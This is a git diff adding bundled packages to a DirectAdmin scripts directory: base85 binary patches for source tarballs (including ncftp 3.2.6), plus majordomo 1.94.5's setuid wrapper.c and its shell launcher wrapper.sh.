zg@$rd!+xYE2I_b>OZ5~C04(Zz1q=gm(zUjMRo_kKQ1>>&;(9MA6xVq{=3L(exvj1X z0;hTw8!JUKSy3TFb)_g%`1E%jp(!sqPqqP8ix=3=ykVIX5#8N=|> zGVIutf!&&7DQz&3Iu=Q2F(Z}EXp!tF!;kP2uw7Klf6w;%?aoRX9z%%3-Dmm+6}u9XyHRG8f+Y8wTdyVkTz`gwZSC*9z+wHa@dF*18Tt57f6RF$KSYzD_s&k1@MQO+v|+TpyURVS^u$Y95x_?ZP@(C4dI6b z{@BSR_!HDf3(0Xkox$%2xSC`%kim5>f(9}-l7LG$Zyvv)k3ybza(_C-JFQNPZ8U}Gn06%_y0O1T;kNIJw7>2W7#KjBaj~GTeek^Oi=%JNVJYf`)<jM<*nB@G$S zCQ_8tZr=j<`|!;a#edElRVsW-Mb$a7=TeoPh^!@=j;cKb7c zp^8*5tm{fe`d$!Jc*0|uQw|ujJ+1#L(w_EvAshZa3NS>!X|t#Mt$O+4-g~wKk{$Vb z+GbDd$(wP9I7s;1-<)jj*m)3Q{8ayR|Jf+*`$-_3Q2j}kJ!`Y4^=aB4b`L2^YCrz- zHhWsfepME9&Sq~v{xrxjR6GZGqV;RJAFf@Wc%pv;M)=+d+0%MV#ZB733bxpH$ez}1 zXg}Vovj0*4qT^CKz5%wVLiV)IJ}Y0|Q9x!+WKZ;M5Ss0o(l68%LCy)1|0O%3KL?4~ zp4L6iE5hXac}tOza2|aRa_EcVAKTc^WwDK%Bm6v`1LlN?CWee>S7{V z1{oZ`Dbe$SZ*COGyLXU8P<#JFKejH;6;JOI`bThZhJ@E4{7#SRjmBR*O{wgV&8OJ| cBKsY4Z~#%574obp8x;= literal 0 HcmV?d00001 diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper.c b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper.c new file mode 100644 index 0000000..9cc5e3b --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper.c @@ -0,0 +1,157 @@ +/* + * $Source: /sources/cvsrepos/majordomo/wrapper.c,v $ + * $Revision: 1.8 $ + * $Date: 1997/08/27 15:01:12 $ + * $Author: cwilson $ + * $State: Exp $ + * + * $Locker: $ + * + */ + +#ifndef lint +static char rcs_header[] = "$Header: /sources/cvsrepos/majordomo/wrapper.c,v 1.8 1997/08/27 15:01:12 cwilson Exp $"; +#endif + +#include +#include + +#if defined(sun) && defined(sparc) +#include +#endif + + +#ifndef STRCHR +# include +# define STRCHR(s,c) strchr(s,c) +#endif + +#ifndef BIN +# define BIN "/usr/local/mail/majordomo" +#endif + +#ifndef PATH +# define PATH "PATH=/bin:/usr/bin:/usr/ucb" +#endif + +#ifndef HOME +# define HOME "HOME=/usr/local/mail/majordomo" +#endif + +#ifndef SHELL +# define SHELL "SHELL=/bin/sh" +#endif + +char * new_env[] = { + HOME, /* 0 */ + PATH, /* 1 */ + SHELL, /* 2 */ +#ifdef MAJORDOMO_CF + MAJORDOMO_CF, /* 3 */ +#endif + 0, /* possibly for USER or LOGNAME */ + 0, /* possible for LOGNAME */ + 0, /* possibly for timezone */ + 0 +}; + +int new_env_size = 7; /* to prevent overflow problems */ + +main(argc, argv, env) + int argc; + char * argv[]; + char * env[]; + +{ + char * prog; + int e, i; + + if (argc < 2) { + fprintf(stderr, "USAGE: %s program [ ...]\n", argv[0]); + exit(EX_USAGE); + } + + /* if the command contains a /, then don't allow it */ + if (STRCHR(argv[1], '/') != (char *) NULL) { + /* this error message is intentionally cryptic */ + fprintf(stderr, "%s: error: insecure usage\n", argv[0]); + exit(EX_NOPERM); + } + + if ((prog = (char *) malloc(strlen(BIN) + strlen(argv[1]) + 2)) == NULL) { + fprintf(stderr, "%s: error: malloc failed\n", argv[0]); + exit(EX_OSERR); + } + + sprintf(prog, "%s/%s", BIN, argv[1]); + + /* copy the "USER=" and "LOGNAME=" envariables into the new environment, + * if they exist. + */ + +#ifdef MAJORDOMO_CF + e = 4; /* the first unused slot in new_env[] */ +#else + e = 3; /* the first unused slot in new_env[] */ +#endif + + for (i = 0 ; env[i] != NULL && e <= new_env_size; i++) { + if ((strncmp(env[i], "USER=", 5) == 0) || + (strncmp(env[i], "TZ=", 3) == 0) || + (strncmp(env[i], "LOGNAME=", 8) == 0)) { + new_env[e++] = env[i]; + } + } + + +#if defined(SETGROUP) +/* renounce any previous group memberships if we are running as root */ + if (geteuid() == 0) { /* Should I exit if this test fails? */ + char *setgroups_used = "setgroups_was_included"; /* give strings a hint */ +#if defined(MAIL_GID) + int groups[] = { POSIX_GID, MAIL_GID, 0 }; + if (setgroups(2, groups) == -1) { +#else + int groups[] = { POSIX_GID, 0 }; + if (setgroups(1, groups) == -1) { +#endif + extern int errno; + + fprintf(stderr, "%s: error setgroups failed errno %d", argv[0], + errno); + } +} +#endif + + +#ifdef POSIX_GID + setgid(POSIX_GID); +#else + setgid(getegid()); +#endif + +#ifdef POSIX_UID + setuid(POSIX_UID); +#else + setuid(geteuid()); +#endif + + if ((getuid() != geteuid()) || (getgid() != getegid())) { + fprintf(stderr, "%s: error: Not running with proper UID and GID.\n", argv[0]); + fprintf(stderr, " Make certain that wrapper is installed setuid, and if so,\n"); + fprintf(stderr, " recompile with POSIX flags.\n"); + exit(EX_SOFTWARE); + } + + execve(prog, argv+1, new_env); + + /* the exec should never return */ + fprintf(stderr, "wrapper: Trying to exec %s failed: ", prog); + perror(NULL); + fprintf(stderr, " Did you define PERL correctly in the Makefile?\n"); + fprintf(stderr, " HOME is %s,\n", HOME); + fprintf(stderr, " PATH is %s,\n", PATH); + fprintf(stderr, " SHELL is %s,\n", SHELL); + fprintf(stderr, " MAJORDOMO_CF is %s\n", MAJORDOMO_CF); + exit(EX_OSERR); +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper.sh b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper.sh new file mode 100644 index 0000000..494db10 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper.sh @@ -0,0 +1,13 @@ +#! /bin/sh +PATH=/bin:/usr/bin +IFS=" " + +if [ -d /sys/node_data ]; then + arch="DomainOS" + else + arch=`arch` +fi + +exec $0.${arch} "$@" + +# $Header: /sources/cvsrepos/majordomo/wrapper.sh,v 1.4 1994/05/09 17:41:29 rouilj Exp $ diff --git a/directadmin-1.62.4/scripts/packages/ncftp-3.2.6-src.tar.gz b/directadmin-1.62.4/scripts/packages/ncftp-3.2.6-src.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..be16aa6a63a84ccf0708a3954a542ca77b9a4442 GIT binary patch literal 657878 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 